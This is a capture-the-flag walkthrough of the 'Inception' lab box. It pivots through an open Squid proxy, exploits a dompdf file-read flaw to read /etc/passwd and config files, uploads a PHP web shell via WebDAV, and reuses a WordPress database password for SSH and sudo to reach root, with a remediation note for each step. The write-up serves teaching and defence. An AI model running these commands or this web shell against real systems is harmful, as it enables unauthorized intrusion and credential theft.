Inception
Summary
I found two internet-exposed services on inception ($TARGET): Apache 2.4.18 on port 80 and a fully open, unauthenticated Squid HTTP proxy on port 3128. The proxy was used as a pivot to reach the SSH daemon, which was bound to localhost only and not otherwise reachable from the internet.
An outdated dompdf 0.6.0 library served by Apache was exploited to read arbitrary files on the server, including the Apache virtual-host configuration, which disclosed the path and credentials for a WebDAV upload directory. Those credentials were used to upload a PHP web shell through WebDAV, giving command execution as the web-server user www-data.
The web shell was then used to read WordPress's database-configuration file, recovering a plaintext database password. That single password was reused verbatim as the SSH login for local user 'cobb' — tunnelled through the open Squid proxy — and again as the password accepted by sudo, granting full root access without any additional exploit.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD2="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Service-version scan of both open ports.
$ nmap -sV -sC -p 80,3128 $TARGETConfirm Apache default page on port 80.
$ curl -sS -i http://$TARGET/Confirm the Squid proxy forwards to localhost with no authentication required.
$ curl -sS -i -x http://$TARGET:3128 http://127.0.0.1/Exact commands 2
Route HTTP through Squid to localhost — confirms unrestricted internal access.
$ curl -sS -i -x http://$TARGET:3128 http://127.0.0.1/Probe internal web paths through the proxy to discover installed software.
$ curl -sS -i -x http://$TARGET:3128 http://127.0.0.1/dompdf/VERSIONFixRestrict or disable the unauthenticated Squid HTTP proxyCritical
Exact commands 3
Confirm the installed dompdf version is vulnerable.
$ curl -sS "http://$TARGET/dompdf/VERSION"Read /etc/passwd via the LFI; replace the resource path to target any file.
$ curl -sS "http://$TARGET/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/passwd" -o /tmp/lfi.pdf && strings /tmp/lfi.pdf | grep -oP '(?<=stream\n)[A-Za-z0-9+/=]+' | base64 -dRead the Apache vhost config to find hidden paths and credential file references.
$ curl -sS "http://$TARGET/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" -o /tmp/vhost.pdf && strings /tmp/vhost.pdf | grep -oP '(?<=stream\n)[A-Za-z0-9+/=]+' | base64 -dFixRemove or update dompdf to eliminate the local file inclusion vulnerabilityCritical
Exact commands 2
Identify the WebDAV path and password-file location from the vhost config.
$ curl -sS "http://$TARGET/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf" -o /tmp/vhost.pdf && strings /tmp/vhost.pdf | grep -oP '(?<=stream\n)[A-Za-z0-9+/=]+' | base64 -d | grep -iE 'webdav|htpasswd|AuthUserFile'Confirm the discovered credentials are valid on the WebDAV endpoint.
$ curl -sS -u "webdav_tester:$PASSWORD2" -X PROPFIND http://$TARGET/webdav_test_inception/ -H 'Depth: 1'FixKeep credentials out of web-accessible and world-readable configuration filesHigh
Exact commands 3
Create the web shell file locally.
$ echo '<?php if(isset($_REQUEST["cmd"])){ system($_REQUEST["cmd"]); } ?>' > /tmp/s.phpUpload the web shell via HTTP PUT.
$ curl -sS -u "webdav_tester:$PASSWORD2" -T /tmp/s.php "http://$TARGET/webdav_test_inception/s.php"Confirm code execution as www-data on host Inception.
$ curl -sS --max-time 8 -u "webdav_tester:$PASSWORD2" "http://$TARGET/webdav_test_inception/s.php?cmd=id;hostname;pwd"FixDisable PHP execution in the WebDAV upload directory and restrict uploadable file typesCritical
Exact commands 3
Locate the WordPress config file on the server.
$ curl -sS -u "webdav_tester:$PASSWORD2" --get --data-urlencode 'cmd=find /var/www/html -name wp-config.php 2>/dev/null' "http://$TARGET/webdav_test_inception/s.php"Read wp-config.php; adjust path to match find output above.
$ curl -sS -u "webdav_tester:$PASSWORD2" --get --data-urlencode 'cmd=cat /var/www/html/wordpress/wp-config.php' "http://$TARGET/webdav_test_inception/s.php"List interactive local user accounts to identify targets for password reuse.
$ curl -sS -u "webdav_tester:$PASSWORD2" --get --data-urlencode 'cmd=cat /etc/passwd | grep -v nologin | grep -v false' "http://$TARGET/webdav_test_inception/s.php"Exact commands 1
SSH to cobb via the Squid proxy; user.txt value is <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 -o ProxyCommand="proxytunnel -q -p $TARGET:3128 -d 127.0.0.1:22" cobb@127.0.0.1 'id; hostname; cat /home/cobb/user.txt'
uid=1000(cobb) gid=1000(cobb)FixEnforce unique passwords per account and disable sudo password authenticationCritical
Exact commands 2
SSH as cobb and immediately sudo to root; root.txt value is <root.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=10 -o ProxyCommand="proxytunnel -q -p $TARGET:3128 -d 127.0.0.1:22" cobb@127.0.0.1 "printf '%s\n' '$PASSWORD' | sudo -S sh -c 'id; cat /root/root.txt'"
uid=0(root) gid=0(root)Post-exploitation cleanup: remove the uploaded web shell.
$ curl -sS -u "webdav_tester:$PASSWORD2" -X DELETE http://$TARGET/webdav_test_inception/s.phpAttack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
Exposed services
| 80/tcp | http Apache httpd 2.4.18 ((Ubuntu)) |
| 3128/tcp | http-proxy Squid http proxy 3.5.12 |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.